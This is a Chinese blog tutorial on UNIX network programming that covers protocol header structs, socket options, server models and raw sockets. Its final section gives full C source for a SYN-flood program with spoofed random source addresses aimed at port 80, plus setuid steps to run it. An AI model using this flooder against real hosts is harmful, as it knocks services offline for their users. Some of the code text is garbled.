Chinaunix首页 | 论坛 | 博客
  • 博客访问: 260380
  • 博文数量: 78
  • 博客积分: 1810
  • 博客等级: 上尉
  • 技术积分: 1039
  • 用 户 组: 普通用户
  • 注册时间: 2012-03-20 11:11
文章存档

2012年(78)

我的朋友

分类: LINUX

2012-04-02 12:00:25

UNIX网络编程(三)
 
7. TCP/IP协议

你也许听说过TCP/IP协议,那么你知道到底什么是TCP,什么是IP?在这一章里面,我们一起来学习这个目前网络上用最广泛的协议


7.1 
网络传输分层
 

如果你考过计算机等级考试,那么你就应该已经知道了网络传输分层这个概念.在网络上,人们为了传输数据时的方便,把网络的传输分为7个层次.分别是:应用层,表示层,会话层,传输层,网络层,数据链路层和物理层.分好了层以后,传输数据时,上一层如果要数据的话,就可以直接向下一层要了,而不必要管数据传输的细节.下一层也只向它的上一层提供数据,而不要去管其它东西了.如果你不想考试,你没有必要去记这些东西的.只要知道是分层的,而且各层的作用不同


7.2 IP
协议
 

IP协议是在网络层的协议.它主要完成数据包的发送作用下面这个表是IP4的数据包格式
 

 0      4       8       16                      32
--------------------------------------------------
|
版本   |首部长度|服务类型|    数据包总长
        |
--------------------------------------------------
|    
标识                 |DF |MF| 碎片偏移
      |
--------------------------------------------------
|   
生存时间    |  协议   |  首部较验和
         |
------------------------------------------------
|               
IP地址
                        |
------------------------------------------------
|               
目的IP地址
                      |
-------------------------------------------------
|               
选项
                            |
=================================================
|               
数据
                            |
-------------------------------------------------                       

下面我们看一看IP的结构定义


struct ip
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN
        unsigned int ip_hl:4;           /* header length */
        unsigned int ip_v:4;            /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
        unsigned int ip_v:4;            /* version */
        unsigned int ip_hl:4;           /* header length */
#endif
        u_int8_t ip_tos;                /* type of service */
        u_short ip_len;                 /* total length */
        u_short ip_id;                  /* identification */
        u_short ip_off;                 /* fragment offset field */
#define IP_RF 0x8000                    /* reserved fragment flag */
#define IP_DF 0x4000                    /* dont fragment flag */
#define IP_MF 0x2000                    /* more fragments flag */
#define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
        u_int8_t ip_ttl;                /* time to live */
        u_int8_t ip_p;                  /* protocol */
        u_short ip_sum;                 /* checksum */
        struct in_addr ip_src, ip_dst;  /* source and dest address */
  };

ip_vIP
协议的版本号,这里是4,现在IPV6已经出来了
 

ip_hlIP
包首部长度,这个值以4字节为单位.IP协议首部的固定长度为20个字节,如果IP包没有选项,那么这个值为
5. 

ip_tos
服务类型,说明提供的优先权


ip_len
说明IP数据的长度.以字节为单位


ip_id
标识这个IP数据包


ip_off
碎片偏移,这和上面ID一起用来重组碎片的


ip_ttl
生存时间.没经过一个路由的时候减一,直到为0时被抛弃


ip_p
协议,表示创建这个IP数据包的高层协议.TCP,UDP协议


ip_sum
首部校验和,提供对首部数据的校验


ip_src,ip_dst
发送者和接收者的IP地址
 

关于IP协议的详细情况,请参考
 RFC791

7.3 ICMP
协议
 

ICMP是消息控制协议,也处于网络层.在网络上传递IP数据包时,如果发生了错误,那么就会用ICMP协议来报告错误


ICMP
包的结构如下


 0              8               16                              32
---------------------------------------------------------------------
|       
类型    |       代码    |       校验和
                  |
--------------------------------------------------------------------
|               
数据            |       数据
                    |
--------------------------------------------------------------------

ICMP
;中的定义是
 
struct icmphdr
{
  u_int8_t type;                /* message type */
  u_int8_t code;                /* type sub-code */
  u_int16_t checksum;
  union
  {
    struct
    {
      u_int16_t id;
      u_int16_t sequence;
    } echo;                     /* echo datagram */
    u_int32_t   gateway;        /* gateway address */
    struct
    {
      u_int16_t __unused;
      u_int16_t mtu;
    } frag;                     /* path mtu discovery */
  } un;
};

关于ICMP协议的详细情况可以查看
 RFC792

7.4 UDP
协议
 

UDP协议是建立在IP协议基础之上的,用在传输层的协议.UDPIP协议一样是不可靠的数据报服务.UDP的头格式为



 0                      16                      32
---------------------------------------------------
|       UDP
源端口       |       UDP目的端口
     |
---------------------------------------------------
|       UDP
数据报长度   |       UDP数据报校验
   |
---------------------------------------------------

UDP
结构在;中的定义为

struct udphdr {
  u_int16_t     source;
  u_int16_t     dest;
  u_int16_t     len;
  u_int16_t     check;
};

关于UDP协议的详细情况,请参考
 RFC768

7.5 TCP 

TCP
协议也是建立在IP协议之上的,不过TCP协议是可靠的.按照顺序发送的.TCP的数据结构比前面的结构都要复杂


0       4       8  10           16              24              32
-------------------------------------------------------------------
|               
源端口          |               目的端口
        |
-------------------------------------------------------------------
|                               
序列号
                          |
------------------------------------------------------------------
|                               
确认号
                          |
------------------------------------------------------------------
|        |            |U|A|P|S|F|                               |
|
首部长度保留       |R|C|S|Y|I|       窗口
                    |
|        |            |G|K|H|N|N|                               |
-----------------------------------------------------------------
|               
校验和          |               紧急指针
        |
-----------------------------------------------------------------
|                       
选项                    |    填充字节
   |
-----------------------------------------------------------------

TCP
的结构在;中定义为

struct tcphdr
  {
    u_int16_t source;
    u_int16_t dest;
    u_int32_t seq;
    u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
    u_int16_t res1:4;
    u_int16_t doff:4;
    u_int16_t fin:1;
    u_int16_t syn:1;
    u_int16_t rst:1;
    u_int16_t psh:1;
    u_int16_t ack:1;
    u_int16_t urg:1;
    u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
    u_int16_t doff:4;
    u_int16_t res1:4;
    u_int16_t res2:2;
    u_int16_t urg:1;
    u_int16_t ack:1;
    u_int16_t psh:1;
    u_int16_t rst:1;
    u_int16_t syn:1;
    u_int16_t fin:1;
#endif
    u_int16_t window;
    u_int16_t check;
    u_int16_t urg_prt;
};      

source
发送TCP数据的源端口
 
dest
接受TCP数据的目的端口
 

seq
标识该TCP所包含的数据字节的开始序列号
 

ack_seq
确认序列号,表示接受方下一次接受的数据序列号


doff
数据首部长度.IP协议一样,4字节为单位.一般的时候为


urg
如果设置紧急数据指针,则该位为


ack
如果确认号正确,那么为


psh
如果设置为1,那么接收方收到数据后,立即交给上一层程序
 

rst
1的时候,表示请求重新连接
 

syn
1的时候,表示请求建立连接
 

fin
1的时候,表示亲戚关闭连接
 

window
窗口,告诉接收者可以接收的大小
 

check
TCP数据进行较核
 

urg_ptr
如果urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值
 

关于TCP协议的详细情况,请查看
 RFC793


7.6 TCP
连接的建立
 

TCP协议是一种可靠的连接,为了保证连接的可靠性,TCP的连接要分为几个步骤.我们把这个连接过程称为"三次握手
". 

下面我们从一个实例来分析建立连接的过程


第一步客户机向服务器发送一个TCP数据包,表示请求建立连接为此,客户端将数据包的SYN位设置为1,并且设置序列号seq=1000(我们假设为
1000). 

第二步服务器收到了数据包,并从SYN位为1知道这是一个建立请求的连接.于是服务器也向客户端发送一个TCP数据包.因为是响应客户机的请求,于是服务器设置ACK1,sak_seq=1001(1000+1)同时设置自己的序列号.seq=2000(我们假设为
2000). 

第三步客户机收到了服务器的TCP,并从ACK1ack_seq=1001知道是从服务器来的确认信息.于是客户机也向服务器发送确认信息.客户机设置ACK=1,ack_seq=2001,seq=1001,发送给服务器.至此客户端完成连接


最后一步服务器受到确认信息,也完成连接


通过上面几个步骤,一个TCP连接就建立了.当然在建立过程中可能出现错误,不过TCP协议可以保证自己去处理错误的



  
说一说其中的一种错误
.
  
听说过DOS?(可不是操作系统啊).今年春节的时候,美国的五大网站一起受到攻击.攻击者用的就是DOS(拒绝式服务)方式.概括的说一下原理
.
  
客户机先进行第一个步骤.服务器收到后,进行第二个步骤.按照正常的TCP连接,客户机应该进行第三个步骤
.
不过攻击者实际上并不进行第三个步骤.因为客户端在进行第一个步骤的时候,修改了自己的IP地址,就是说将一个实际上不存在的IP填充在自己IP数据包的发送者的IP一栏.这样因为服务器发的IP地址没有人接收,所以服务端会收不到第三个步骤的确认信号,这样服务务端会在那边一直等待,直到超时
.
这样当有大量的客户发出请求后,服务端会有大量等待,直到所有的资源被用光,而不能再接收客户机的请求
.
这样当正常的用户向服务器发出请求时,由于没有了资源而不能成功.于是就出现了春节时所出现的情况
.


8. 
套接字选项

有时候我们要控制套接字的行为(如修改缓冲区的大小),这个时候我们就要控制套接字的选项了


8.1 getsockopt
setsockopt 

int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optlen)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen)

level
指定控制套接字的层次.可以取三种值: 1)SOL_SOCKET:通用套接字选项. 2)IPPROTO_IP:IP选项. 3)IPPROTO_TCP:TCP选项

optname
指定控制的方式(选项的名称),我们下面详细解释
 

optval
获得或者是设置套接字选项.根据选项名称的数据类型进行转换
 


选项名称                说明                                    数据类型

========================================================================
                        SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST            
允许发送广播数据
                        int
SO_DEBUG                
允许调试
                                int
SO_DONTROUTE            
不查找路由
                              int
SO_ERROR                
获得套接字错误
                          int
SO_KEEPALIVE            
保持连接
                                int
SO_LINGER               
延迟关闭连接
                            struct linger
SO_OOBINLINE            
带外数据放入正常数据流
                  int
SO_RCVBUF               
接收缓冲区大小
                          int
SO_SNDBUF               
发送缓冲区大小
                          int
SO_RCVLOWAT             
接收缓冲区下限
                          int
SO_SNDLOWAT             
发送缓冲区下限
                          int
SO_RCVTIMEO             
接收超时
                                struct timeval
SO_SNDTIMEO             
发送超时
                                struct timeval
SO_REUSERADDR           
允许重用本地地址和端口
                  int
SO_TYPE                 
获得套接字类型
                          int
SO_BSDCOMPAT            
BSD系统兼容
                           int
==========================================================================
                        IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL              
在数据包中包含IP首部
                    int
IP_OPTINOS              IP
首部选项
                              int
IP_TOS                  
服务类型

IP_TTL                  
生存时间
                                int
==========================================================================
                        IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEG              TCP
最大数据段的大小
                     int
TCP_NODELAY             
不使用Nagle算法
                         int
=========================================================================

关于这些选项的详细情况请查看
 unix Programmer's Manual 

8.2 ioctl 

ioctl
可以控制所有的文件描述符的情况,这里介绍一下控制套接字的选项


 int ioctl(int fd,int req,...)
 
==========================================================================
                        ioctl
的控制选项

--------------------------------------------------------------------------
SIOCATMARK              
是否到达带外标记
                        int
FIOASYNC                
异步输入/输出标志
                       int
FIONREAD                
缓冲区可读的字节数
                      int
==========================================================================

详细的选项请用 man ioctl_list 查看


9. 服务器模型

学习过《软件工程》吧.软件工程可是每一个程序员"必修"的课程啊.如果你没有学习过建议你去看一看在这一章里面,我们一起来从软件工程的角度学习网络编程的思想.在我们写程序之前我们都应该从软件工程的角度规划好我们的软件,这样我们开发软件的效率才会高在网络程序里面,一般的来说都是许多客户机对应一个服务器.为了处理客户机的请求对服务端的程序就提出了特殊的要求.我们学习一下目前最常用的服务器模型


循环服务器:循环服务器在同一个时刻只可以响应一个客户端的请求
 

并发服务器:并发服务器在同一个时刻可以响应多个客户端的请求
 


9.1 
循环服务器:UDP服务器
 

UDP循环服务器的实现非常简单:UDP服务器每次从套接字上读取一个客户端的请求,处理然后将结果返回给客户机


可以用下面的算法来实现


   socket(...);
   bind(...);
   while(1)
    {
         recvfrom(...);
         process(...);
         sendto(...);
   }

因为UDP是非面向连接的,没有一个客户端可以老是占住服务端只要处理过程不是死循环服务器对于每一个客户机的请求总是能够满足

9.2 
循环服务器:TCP服务器
 

TCP循环服务器的实现也不难:TCP服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接


算法如下


        socket(...);
        bind(...);
        listen(...);
        while(1)
        {
                accept(...);
                while(1)
                {
                        read(...);
                        process(...);
                        write(...);
                }
                close(...);
        }

TCP
循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后服务器才可以继续后面的请求.这样如果有一个客户端占住服务器不放时,其它的客户机都不能工作了.因此,TCP服务器一般很少用循环服务器模型的


9.3 
并发服务器:TCP服务器
 

为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型并发服务器的思想是每一个客户机的请求并不由服务器直接处理,而是服务器创建一个 子进程来处理


算法如下


  socket(...);
  bind(...);
  listen(...);
  while(1)
  {
        accept(...);
        if(fork(..)==0)
          {
              while(1)
               {        
                read(...);
                process(...);
                write(...);
               }
           close(...);
           exit(...);
          }
        close(...);
  }     

TCP
并发服务器可以解决TCP循环服务器客户机独占服务器的情况不过也同时带来了一个不小的问题.为了响应客户机的请求,服务器要创建子进程来处理而创建子进程是一种非常消耗资源的操作


9.4 
并发服务器:多路复用
I/O 

为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用I/O模型


首先介绍一个函数
select 

 int select(int nfds,fd_set *readfds,fd_set *writefds,
                fd_set *except fds,struct timeval *timeout)
 void FD_SET(int fd,fd_set *fdset)
 void FD_CLR(int fd,fd_set *fdset)
 void FD_ZERO(fd_set *fdset)
 int FD_ISSET(int fd,fd_set *fdset)

一般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足比如我们从一个套接字读数据时,可能缓冲区里面没有数据可读(通信的对方还没有 发送数据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不 希望阻塞,我们的一个选择是用select系统调用只要我们设置好select的各个参数,那么当文件可以读写的时候select"通知"我们 说可以读写了. readfds所有要读的文件文件描述符的集合
 
writefds
所有要的写文件文件描述符的集合
 

exceptfds
其他的服要向我们通知的文件描述符
 

timeout
超时设置


nfds
所有我们监控的文件描述符中最大的那一个加


在我们调用select时进程会一直阻塞直到以下的一种情况发生. 1)有文件可以读.2)有文件可以写.3)超时所设置的时间到


为了设置文件描述符我们要使用几个宏. FD_SETfd加入到
fdset 

FD_CLR
fdfdset里面清除
 

FD_ZERO
fdset中清除所有的文件描述符
 

FD_ISSET
判断fd是否在fdset集合中
 

使用select的一个例子
 

int use_select(int *readfd,int n)
{
   fd_set my_readfd;
   int maxfd;
   int i;
   
   maxfd=readfd[0];
   for(i=1;i    if(readfd>;maxfd) maxfd=readfd;

   while(1)
   {
        /*   
将所有的文件描述符加入   */
        FD_ZERO(&my_readfd);
        for(i=0;i            FD_SET(readfd,*my_readfd);
        /*     
进程阻塞
                 */
        select(maxfd+1,& my_readfd,NULL,NULL,NULL); 
        /*        
有东西可以读了
       */
        for(i=0;i          if(FD_ISSET(readfd,&my_readfd))
              {
                  /* 
原来是我可以读了
  */ 
                        we_read(readfd);
              }
   }
}

使用select后我们的服务器程序就变成了



        
初始话
(socket,bind,listen);
        
    while(1)
        {
        
设置监听读写文件描述符
(FD_*);   
        
        
调用
select;
        
        
如果是倾听套接字就绪,说明一个新的连接请求建立

             { 
                
建立连接
(accept);
                
加入到监听文件描述符中去
;
             }
       
否则说明是一个已经连接过的描述符

                {
                    
进行操作(read或者
write);
                 }
                        
        }               

多路复用I/O可以解决资源限制的问题.着模型实际上是将UDP循环模型用在了TCP上面这也就带来了一些问题.如由于服务器依次处理客户的请求,所以可能会导致有的客户 会等待很久


9.5 
并发服务器:UDP服务器
 

人们把并发的概念用于UDP就得到了并发UDP服务器模型并发UDP服务器模型其实是简单的.和并发的TCP服务器模型一样是创建一个子进程来处理的 算法和并发的TCP模型一样


除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型



9.6 
一个并发TCP服务器实例
 

#include ;
#include ;
#include ;
#include ;
#include ;
#define MY_PORT         8888

int main(int argc ,char **argv)
{
 int listen_fd,accept_fd;
 struct sockaddr_in     client_addr;
 int n;
 
 if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
  {
        printf("Socket Error:%s\n\a",strerror(errno));
        exit(1);
  }
 
 bzero(&client_addr,sizeof(struct sockaddr_in));
 client_addr.sin_family=AF_INET;
 client_addr.sin_port=htons(MY_PORT);
 client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
 n=1;
 /* 
如果服务器终止后,服务器可以第二次快速启动而不用等待一段时间
  */
 setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
 if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
  {
        printf("Bind Error:%s\n\a",strerror(errno));
        exit(1);
  }
  listen(listen_fd,5);
  while(1)
  {
   accept_fd=accept(listen_fd,NULL,NULL);
   if((accept_fd<0)&&(errno==EINTR))
          continue;
   else if(accept_fd<0)
    {
        printf("Accept Error:%s\n\a",strerror(errno));
        continue;
    }
  if((n=fork())==0)
   {
        /* 
子进程处理客户端的连接
 */
        char buffer[1024];

        close(listen_fd);
        n=read(accept_fd,buffer,1024);
        write(accept_fd,buffer,n);
        close(accept_fd);
        exit(0);
   }
   else if(n<0)
        printf("Fork Error:%s\n\a",strerror(errno));
   close(accept_fd);
  }


你可以用我们前面写客户端程序来调试着程序,或者是用来telnet调试
 


10. 原始套接字

我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCPUDP套接字不能够实现的功能注意原始套接字只能够由有root权限的人创建

10.1 
原始套接字的创建
 

 int sockfd(AF_INET,SOCK_RAW,protocol)

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看 下面我们以一个实例来说明原始套接字的创建和使用
 

10.2 
一个原始套接字的实例
 
还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序下面是程序的源代码
 

/********************  DOS.c               *****************/
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;

#define DESTPORT        80       /* 
要攻击的端口
(WEB)      */
#define LOCALPORT       8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
 int sockfd;
 struct sockaddr_in addr;
 struct hostent *host;
 int on=1;
 
 if(argc!=2)
 {
        fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
        exit(1);
 }
 
 bzero(&addr,sizeof(struct sockaddr_in));
 addr.sin_family=AF_INET;
 addr.sin_port=htons(DESTPORT);
 
 if(inet_aton(argv[1],&addr.sin_addr)==0)
 {
        host=gethostbyname(argv[1]);
        if(host==NULL)
        {
                fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
                exit(1);
        }
        addr.sin_addr=*(struct in_addr *)(host->;h_addr_list[0]);
 }
 
 /**** 
使用IPPROTO_TCP创建一个TCP的原始套接字
    ****/

 sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
 if(sockfd<0)
 {
        fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
        exit(1);
 }
/********  
设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写
  ***/
 
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/****  
没有办法,只用超级护用户才可以使用原始套接字
    *********/
 setuid(getpid());

/*********  
发送炸弹了
!!!!          ****/
 send_tcp(sockfd,&addr);




/*******  
发送炸弹的实现
   *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
 char buffer[100];  /**** 
用来放置我们的数据包
  ****/
 struct ip *ip;
 struct tcphdr *tcp;
 int head_len;
 
 /******* 
我们的数据包实际上没有任何内容,所以长度就是两个结构的长度
  ***/
 
 head_len=sizeof(struct ip)+sizeof(struct tcphdr);
 
 bzero(buffer,100);

 /********  
填充IP数据包的头部,还记得IP的头格式吗
?     ******/ 
 ip=(struct ip *)buffer;
 ip->;ip_v=IPVERSION;             /** 
版本一般的是
 4      **/
 ip->;ip_hl=sizeof(struct ip)>;>;2; /** IP
数据包的头部长度
  **/
 ip->;ip_tos=0;                   /** 
服务类型
            **/
 ip->;ip_len=htons(head_len);     /** IP
数据包的长度
      **/
 ip->;ip_id=0;                    /** 
让系统去填写吧
      **/
 ip->;ip_off=0;                   /** 
和上面一样,省点时间
 **/        
 ip->;ip_ttl=MAXTTL;              /** 
最长的时间
   255    **/
 ip->;ip_p=IPPROTO_TCP;           /** 
我们要发的是 TCP
  **/ 
 ip->;ip_sum=0;                   /** 
校验和让系统去做
    **/
 ip->;ip_dst=addr->;sin_addr;      /** 
我们攻击的对象
      **/
 
 /*******  
开始填写TCP数据包
                           *****/
 tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
 tcp->;source=htons(LOCALPORT);
 tcp->;dest=addr->;sin_port;           /** 
目的端口
    **/
 tcp->;seq=random();
 tcp->;ack_seq=0;
 tcp->;doff=5;
 tcp->;syn=1;                        /** 
我要建立连接
 **/
 tcp->;check=0;

 
 /** 
好了,一切都准备好了.服务器,你准备好了没有
?? ^_^  **/
 while(1)
  {
 /**  
你不知道我是从那里来的,慢慢的去等吧
!      **/
    ip->;ip_src.s_addr=random();     

 /** 
什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧
 */
 /**            
下面这条可有可无
    */
    tcp->;check=check_sum((unsigned short *)tcp,
                sizeof(struct tcphdr)); 
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
  }
}

/* 
下面是首部校验和的算法,偷了别人的
 */
unsigned short check_sum(unsigned short *addr,int len)
{
 register int nleft=len;
 register int sum=0;
 register short *w=addr;
  short answer=0;
 
 while(nleft>;1)
 {
  sum+=*w++;
  nleft-=2;
 }
 if(nleft==1)
 {
  *(unsigned char *)(&answer)=*(unsigned char *)w;
  sum+=answer;
 }
  
 sum=(sum>;>;16)+(sum&0xffff)

 sum+=(sum>;>;16);
 answer=~sum;
 return(answer);
}

编译一下,localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为root, 设置setuid 

 [root@hoyt /root]#chown root DOS
 [root@hoyt /root]#chmod +s DOS


10.3 
总结
 
原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了不过这里面是不是有很多的乐趣呢当我们创建了一个TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统系统在收到我们的数据后,回自动的调用相应的模块给数据加上TCP头部,然后加上IP头部再发送出去.而现在是我们自己创建各个的头部,系统只是把它们发送出去在上面的实例中,由于我们要修改我们的源IP地址,所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由系统来创建的.
阅读(2151) | 评论(0) | 转发(0) |
0

上一篇:5.2网络编程(二)

下一篇:嵌入式学习流程

给主人留下些什么吧!~~